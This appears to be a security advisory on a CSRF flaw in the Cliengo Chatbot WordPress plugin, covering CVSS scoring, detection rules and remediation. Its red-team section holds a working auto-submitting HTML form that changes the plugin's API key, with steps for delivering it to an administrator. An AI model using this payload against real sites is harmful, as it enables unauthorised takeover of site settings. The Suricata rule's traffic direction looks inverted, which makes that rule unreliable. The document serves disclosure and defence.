CVE-2024-37923

Executive Summary

CVE-2024-37923 is a Cross-Site Request Forgery (CSRF) vulnerability in the Cliengo – Chatbot WordPress plugin, affecting versions up to and including 3.0.4. This flaw allows an attacker to trick an authenticated administrator into performing unintended actions, such as modifying plugin settings or deactivating the chatbot, without their consent. The vulnerability is classified as CWE-352 and carries a CVSS score of 5.4 (Medium). No public exploit code or proof-of-concept is currently available, and the vendor has not released a patch. Given the low EPSS score (0.0%), active exploitation is unlikely but the risk remains for unpatched installations.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository. Users are advised to monitor the plugin page for updates and consider disabling the plugin if no patch is forthcoming.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
• Base Score: 5.4 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R)
• Scope: Unchanged (S:U)
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: None (A:N)

Threat Level: Medium. The vulnerability requires user interaction (e.g., clicking a malicious link) and only allows limited modification of plugin settings. However, it could be chained with other vulnerabilities for greater impact.

Deep Dive & Mechanics

The Cliengo – Chatbot plugin fails to implement proper CSRF tokens or nonces on its administrative actions. This allows an attacker to craft a malicious HTML page or link that, when visited by an authenticated administrator, performs unauthorized requests to the WordPress admin area. For example, an attacker could:

• Change the chatbot’s API key or configuration.
• Disable the chatbot entirely.
• Modify other plugin settings.

The attack works because the plugin’s admin endpoints do not verify the origin of the request, relying solely on the user’s session cookie.

Vulnerable vs. Patched Code

Vulnerable Code (<= 3.0.4): The plugin likely uses admin_post or admin-ajax hooks without checking a nonce. Example vulnerable pattern:

add_action('admin_post_cliengo_save_settings', 'cliengo_save_settings');
function cliengo_save_settings() {
    // No nonce verification
    update_option('cliengo_api_key', $_POST['api_key']);
}

Patched Code (Hypothetical): A proper patch would include a nonce check:

add_action('admin_post_cliengo_save_settings', 'cliengo_save_settings');
function cliengo_save_settings() {
    if (!wp_verify_nonce($_POST['_wpnonce'], 'cliengo_save_settings')) {
        wp_die('CSRF validation failed.');
    }
    update_option('cliengo_api_key', sanitize_text_field($_POST['api_key']));
}

Exploitation & Lab Setup

Red Team

1. Prerequisites: An authenticated WordPress admin session (cookie).
2. Craft a CSRF payload: Create an HTML page that auto-submits a form to the vulnerable endpoint.

   <html>
   <body>
   <form action="http://target.com/wp-admin/admin-post.php" method="POST">
       <input type="hidden" name="action" value="cliengo_save_settings">
       <input type="hidden" name="api_key" value="attacker_controlled_key">
       <input type="submit" value="Submit">
   </form>
   <script>document.forms[0].submit();</script>
   </body>
   </html>
   

3. Deliver the payload: Send the link to the admin via email, social engineering, or a compromised site.
4. Result: The admin’s browser sends the request, and the plugin settings are modified.

Blue Team

1. Monitor for unusual admin actions: Look for unexpected changes to plugin settings.
2. Check HTTP Referer headers: Incoming requests to admin-post.php with missing or spoofed Referer headers.
3. Deploy Web Application Firewall (WAF) rules: Block requests to admin-post.php that lack a valid nonce.

Indicators of Compromise (IOCs)

• Network:
  • HTTP POST requests to /wp-admin/admin-post.php with action=cliengo_* parameters.
  • Referer header pointing to an external domain.
• Host:
  • Unexpected changes to the cliengo_api_key option in the WordPress database.
  • Modified plugin configuration files.
• Logs:
  • WordPress debug log entries showing failed nonce checks (if patched).
  • Web server access logs with unusual POST requests to admin endpoints.

Detection Engineering

YARA Rule

rule CVE_2024_37923_Cliengo_CSRF {
    meta:
        description = "Detects Cliengo plugin files vulnerable to CSRF"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-37923"
    strings:
        $vuln_func = "admin_post_cliengo" nocase
        $no_nonce = "wp_verify_nonce" nocase
    condition:
        $vuln_func and not $no_nonce
}

Sigma Rule

title: Cliengo CSRF Exploitation Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential CSRF attacks against Cliengo plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: '/wp-admin/admin-post.php'
        cs-uri-query|contains: 'action=cliengo_'
    condition: selection
falsepositives:
    - Legitimate admin actions
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-37923 Cliengo CSRF Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-post.php"; http_uri;
    content:"action=cliengo_"; http_client_body;
    sid:1000001;
    rev:1;
    reference:cve,2024-37923;
)

Remediation & Mitigation

1. Immediate Actions:
   • Disable the Cliengo – Chatbot plugin until a patch is available.
   • Implement a Web Application Firewall (WAF) rule to block requests to admin-post.php without a valid nonce.
2. Long-term Fix:
   • The vendor must add CSRF nonce verification to all admin actions.
   • Users should monitor the plugin repository for updates.
3. Workaround:
   • Use a security plugin like Wordfence to add CSRF protection.
   • Restrict admin access to trusted IPs only.

Valters IT